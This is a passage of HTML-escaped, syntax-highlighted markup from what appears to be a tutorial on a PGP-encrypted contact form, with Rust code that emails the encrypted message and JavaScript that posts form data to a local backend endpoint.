&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; while sending our PGP message in the body with a text&#x2F;plain
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; content-type works, the modern way is through MIME
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;header&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-path z-rust&quot;&gt;ContentType&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;TEXT_PLAIN&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;body&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;payload&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;pgp_message&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-rust&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-keyword z-control z-rust&quot;&gt;match&lt;&#x2F;span&gt; mailer&lt;span class=&quot;z-punctuation z-accessor z-dot z-rust&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-rust&quot;&gt;send&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-bitwise z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;email&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-support z-type z-rust&quot;&gt;Ok&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;_&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;StatusCode&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;OK&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;        &lt;span class=&quot;z-support z-type z-rust&quot;&gt;Err&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;_&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-group z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-group z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;=&amp;gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-path z-rust&quot;&gt;StatusCode&lt;span class=&quot;z-punctuation z-accessor z-rust&quot;&gt;::&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-other z-rust&quot;&gt;INTERNAL_SERVER_ERROR&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-rust&quot;&gt;fn&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function z-rust&quot;&gt;is_valid_pgp_message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-rust&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-parameter z-rust&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;:&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-rust&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;Submission&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-parameters z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-rust&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt; &lt;span class=&quot;z-meta z-function z-return-type z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-rust&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-rust&quot;&gt;bool&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-begin z-rust&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; [...]
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; see the Github repo for the complete source code:
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-comment z-line z-double-slash z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-rust&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt; https:&#x2F;&#x2F;github.com&#x2F;yzoug&#x2F;pgp-contact
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;    &lt;span class=&quot;z-constant z-language z-rust&quot;&gt;true&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-rust&quot;&gt;&lt;span class=&quot;z-meta z-function z-rust&quot;&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-block z-rust&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-end z-rust&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;We can now replace the &lt;code&gt;console.log&lt;&#x2F;code&gt; in our JavaScript above with actually sending the request:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js z-code&quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; our Rust backend endpoint&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;formSubmissionUrl&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;http:&#x2F;&#x2F;127.0.0.1:3000&#x2F;pgp&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-ts&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-comment z-line z-double-slash z-ts&quot;&gt; send the data to our Rust backend as JSON&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-storage z-type z-ts&quot;&gt;const&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-var-single-variable z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-definition z-variable z-ts&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-ts&quot;&gt;dataJson&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-ts&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-constant z-json z-ts&quot;&gt;JSON&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-json z-ts&quot;&gt;stringify&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;reply_to&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-variable z-dom z-ts&quot;&gt;document&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-dom z-ts&quot;&gt;getElementById&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-single z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;reply_to&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-variable z-property z-dom z-ts&quot;&gt;value&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;pgp_message&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;encrypted&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-var z-expr z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-ts&quot;&gt;await&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-entity z-name z-function z-ts&quot;&gt;fetch&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;formSubmissionUrl&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;method&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;POST&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;headers&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;{&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;    &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;Content-Type&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-single z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;application&#x2F;json&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;  &lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;body&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-object z-member z-ts&quot;&gt;&lt;span class=&quot;z-meta z-object-literal z-key z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-separator z-key-value z-ts&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-ts&quot;&gt;dataJson&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-comma z-ts&quot;&gt;,&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-objectliteral z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-block z-ts&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-ts&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-ts&quot;&gt;&lt;span class=&quot;z-support z-class z-console z-ts&quot;&gt;console&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-accessor z-ts&quot;&gt;.&lt;&#x2F;span&gt;&lt;span class=&quot;z-support z-function z-console z-ts&quot;&gt;log&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-quoted z-double z-ts&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Email sent!&lt;span class=&quot;z-punctuation z-definition z-string z-end z-ts&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-brace z-round z-ts&quot;&gt;)&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-ts&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;🎉 &lt;strong&gt;Everything is now pieced together!&lt;&#x2F;strong&gt; 🎉&lt;&#x2F;p&gt;
&lt;p&gt;When submitting the form, I receive:&lt;&#x2F;p&gt;
